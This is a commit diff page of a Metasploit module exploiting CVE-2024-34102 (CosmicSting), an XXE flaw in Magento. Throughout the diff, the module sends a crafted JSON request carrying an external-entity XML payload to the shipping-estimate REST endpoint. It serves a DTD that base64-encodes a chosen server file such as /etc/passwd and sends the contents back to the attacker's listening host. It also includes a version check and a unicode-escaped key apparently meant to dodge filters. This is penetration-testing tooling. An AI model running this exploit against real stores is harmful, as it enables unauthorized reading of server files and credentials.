Skip to content

Commit 54a7ed1

Browse files
committed
Added check method
Signed-off-by: redwaysecurity.com <[email protected]>
1 parent 173a244 commit 54a7ed1

File tree

1 file changed

+169
-142
lines changed

1 file changed

+169
-142
lines changed

modules/exploits/multi/http/magento_xxe_cve_2024_34102.rb

Lines changed: 169 additions & 142 deletions
Original file line numberDiff line numberDiff line change
@@ -4,117 +4,133 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Remote
7-
Rank = ExcellentRanking
8-
9-
include Msf::Exploit::Remote::HttpClient
10-
include Msf::Exploit::Remote::HttpServer
11-
include Msf::Exploit::FileDropper
12-
13-
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Magento XXE Unserialize Remote Code Execution',
16-
'Description' => %q{
17-
This module exploits an XXE vulnerability in Magento 2.3.4-p2 and below which allows
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HttpServer
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Magento XXE Unserialize Arbitrary File Read',
18+
'Description' => %q{
19+
This module exploits a XXE vulnerability in Magento 2.4.7-p1 and below which allows an attacker to read any file on the system.
1820
},
19-
'Platform' => 'php',
20-
'License' => MSF_LICENSE,
21-
'Author' =>
22-
[ ' Sergey Temnikov '],
23-
'Payload' =>
24-
{},
25-
'References' =>
26-
[ 'CVE', '2024-34102',
27-
'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'
28-
],
29-
'Arch' => ARCH_PHP,
30-
'Targets' =>
31-
[
32-
[ 'Automatic Targeting', { 'auto' => true } ],
33-
],
34-
'DisclosureDate' => '2024-07-28',
35-
'DefaultTarget' => 0))
36-
37-
register_options(
38-
[
39-
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]),
40-
OptString.new('FILE', [ true, "The file to read", "/etc/passwd"]),
41-
])
42-
end
43-
44-
45-
def check
46-
vprint_status('Trying to get the GitLab version')
47-
48-
# request to check if the target is vulnerable /magento_version
49-
res = send_request_cgi({
50-
'method' => 'GET',
51-
'uri' => normalize_uri(target_uri.path, '/magento_version'),
52-
})
53-
54-
# binding.pry
55-
56-
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
57-
# Magento/2.4 (Community)
58-
version, edition = res.body.scan(/Magento\/([\d.]+) \(([^)]+)\)/).first
59-
60-
61-
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless (
62-
version <= (Rex::Version.new('2.4.7')) ||
63-
version <= (Rex::Version.new('2.4.6-p5')) ||
64-
version <= (Rex::Version.new('2.4.5-p7')) ||
65-
version <= (Rex::Version.new('2.4.4-p8')) ||
66-
version <= (Rex::Version.new('2.4.3-ext-7')) ||
67-
version <= (Rex::Version.new('2.4.2-ext-7'))
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'Sergey Temnikov', # Vulnerability discovery
24+
'Heyder', # Metasploit module
25+
],
6826

27+
'References' => [
28+
['CVE', '2024-34102'],
29+
['URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md']
30+
],
31+
'DisclosureDate' => '2024-06-11',
32+
'Privileged' => false,
33+
'Arch' => ARCH_PHP,
34+
'Platform' => 'php',
35+
'Targets' => [
36+
['Magento', {}]
37+
],
38+
'DefaultTarget' => 0,
39+
'Notes' => {
40+
'AKA' => ['CosmicSting'],
41+
'Stability' => [CRASH_SAFE],
42+
'Reliability' => [],
43+
'SideEffects' => [IOC_IN_LOGS]
44+
}
45+
)
6946
)
7047

71-
CheckCode::Vulnerable("Detected Magento #{edition} edition version #{version} which is vulnerable")
48+
register_options(
49+
[
50+
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
51+
OptString.new('FILE', [ true, 'The file to read', '/etc/passwd'])
52+
]
53+
)
54+
end
7255

73-
end
74-
75-
def ent_eval
76-
@ent_eval ||= rand_text_alpha_lower(4..8)
77-
end
56+
def check
57+
vprint_status('Trying to get the Magento version')
7858

79-
def leak_param_name
80-
@leak_param_name ||= rand_text_alpha_lower(4..8)
81-
end
59+
# request to check if the target is vulnerable /magento_version
60+
res = send_request_cgi({
61+
'method' => 'GET',
62+
'uri' => normalize_uri(target_uri.path, '/magento_version')
63+
})
8264

83-
def dtd_param_name
84-
@dtd_param_name ||= rand_text_alpha_lower(4..8)
85-
end
86-
87-
def make_xxe_dtd
88-
ent_file = rand_text_alpha_lower(4..8)
89-
%Q|
90-
<!ENTITY % #{ent_file} SYSTEM "php://filter/convert.base64-encode/resource=#{datastore['FILE']}">
65+
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
66+
67+
# Magento/2.4 (Community)
68+
version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first
69+
70+
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless
71+
version <= (Rex::Version.new('2.4.7')) ||
72+
version <= (Rex::Version.new('2.4.6-p5')) ||
73+
version <= (Rex::Version.new('2.4.5-p7')) ||
74+
version <= (Rex::Version.new('2.4.4-p8')) ||
75+
(
76+
edition == 'Enterprise' && (
77+
version <= (Rex::Version.new('2.4.3-ext-7')) ||
78+
version <= (Rex::Version.new('2.4.2-ext-7'))
79+
)
80+
)
81+
82+
CheckCode::Vulnerable("Detected Magento #{edition} edition version #{version} which is vulnerable")
83+
end
84+
85+
def ent_eval
86+
@ent_eval ||= rand_text_alpha_lower(4..8)
87+
end
88+
89+
def leak_param_name
90+
@leak_param_name ||= rand_text_alpha_lower(4..8)
91+
end
92+
93+
def dtd_param_name
94+
@dtd_param_name ||= rand_text_alpha_lower(4..8)
95+
end
96+
97+
def make_xxe_dtd(filter_path = nil, file = nil)
98+
file ||= datastore['FILE']
99+
filter_path ||= "php://filter/convert.base64-encode/resource=#{file}"
100+
ent_file = rand_text_alpha_lower(4..8)
101+
%(
102+
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
91103
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">
92-
|
93-
end
94-
95-
def xxe_xml_data
96-
97-
param_entity_name = rand_text_alpha_lower(4..8)
98-
99-
xml = "<?xml version='1.0' ?>"
100-
xml += "<!DOCTYPE #{rand_text_alpha_lower(4..8)}"
101-
xml += "["
102-
xml += " <!ELEMENT #{rand_text_alpha_lower(4..8)} ANY >"
103-
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
104-
xml += "]"
105-
xml += "> <r>&#{ent_eval};</r>"
106-
107-
xml
108-
end
109-
110-
def xxe_request
111-
post_data = <<~EOF
104+
)
105+
end
106+
107+
def xxe_xml_data
108+
param_entity_name = rand_text_alpha_lower(4..8)
109+
110+
xml = "<?xml version='1.0' ?>"
111+
xml += "<!DOCTYPE #{rand_text_alpha_lower(4..8)}"
112+
xml += '['
113+
xml += " <!ELEMENT #{rand_text_alpha_lower(4..8)} ANY >"
114+
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
115+
xml += ']'
116+
xml += "> <r>&#{ent_eval};</r>"
117+
118+
xml
119+
end
120+
121+
def xxe_request
122+
vprint_status('Sending XXE request')
123+
124+
signature = rand_text_alpha(6)
125+
126+
post_data = <<~EOF
112127
{
113128
"address": {
129+
"#{signature}": "#{rand_text_alpha_lower(4..8)}",
114130
"totalsCollector": {
115131
"collectorList": {
116132
"totalCollector": {
117-
"sourceData": {
133+
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
118134
"data": "#{xxe_xml_data}",
119135
"options": 12345678
120136
}
@@ -123,50 +139,61 @@ def xxe_request
123139
}
124140
}
125141
}
126-
EOF
127-
128-
129-
res = send_request_cgi({
130-
'method' => 'POST',
131-
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),
132-
'ctype' => 'application/json',
133-
'data' => post_data,
134-
})
135-
136-
return true if (res && res.body.include?('[]'))
137-
138-
false
139-
end
140-
141-
def exploit
142-
143-
start_service({
144-
'Uri' => {
145-
'Proc' => proc do |cli, req|
146-
on_request_uri(cli, req)
147-
end,
148-
'Path' => '/'
149-
}
150-
})
151-
xxe_request
152-
rescue Timeout::Error => e
153-
fail_with(Failure::TimeoutExpired, e.message)
154-
end
155-
156-
def on_request_uri(cli, req)
157-
super
158-
data = ''
159-
# vprint_status("Received request for #{req.uri}")
160-
case req.uri
161-
when /(.*).dtd/
162-
data = make_xxe_dtd
163-
when /#{leak_param_name}/
164-
data = req.uri_parts['QueryString'].values.first
142+
EOF
143+
144+
res = send_request_cgi({
145+
'method' => 'POST',
146+
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),
147+
'ctype' => 'application/json',
148+
'data' => post_data
149+
})
150+
151+
fail_with(Failure::UnexpectedReply, "Server returned unexpected response: #{res.code}") unless res&.code == 400
152+
153+
body = res.get_json_document
154+
155+
fail_with(Failure::UnexpectedReply, 'Server might not be vulnerable') unless body['parameters']['fieldName'] == signature
156+
end
157+
158+
def exploit
159+
start_service({
160+
'Uri' => {
161+
'Proc' => proc do |cli, req|
162+
on_request_uri(cli, req)
163+
end,
164+
'Path' => '/'
165+
}
166+
})
167+
xxe_request
168+
rescue Timeout::Error => e
169+
fail_with(Failure::TimeoutExpired, e.message)
170+
end
171+
172+
def on_request_uri(cli, req)
173+
super
174+
data = ''
175+
# vprint_status("Received request for #{req.uri}")
176+
case req.uri
177+
when /(.*).dtd/
178+
vprint_status("Received request for DTD file from #{cli.peerhost}")
179+
data = make_xxe_dtd
180+
when /#{leak_param_name}/
181+
data = req.uri_parts['QueryString'].values.first.gsub(/\s/, '+')
182+
if data&.empty?
183+
print_error('No data received')
184+
else
165185
print_good("Received file #{datastore['FILE']} content")
166-
puts(Base64.decode64(data))
186+
187+
loot_type = 'text/plain'
188+
loot_desc = 'Magento XXE CVE-2024-34102 Results'
189+
data = ::Base64.decode64(data).force_encoding('UTF-8')
190+
191+
p = store_loot(datastore['FILE'], loot_type, datastore['RHOST'], data, loot_desc)
192+
print_good("File saved in: #{p}")
167193
end
168-
169-
send_response(cli, data)
170194
end
171-
172-
end
195+
196+
send_response(cli, data)
197+
end
198+
199+
end

0 commit comments

Comments
 (0)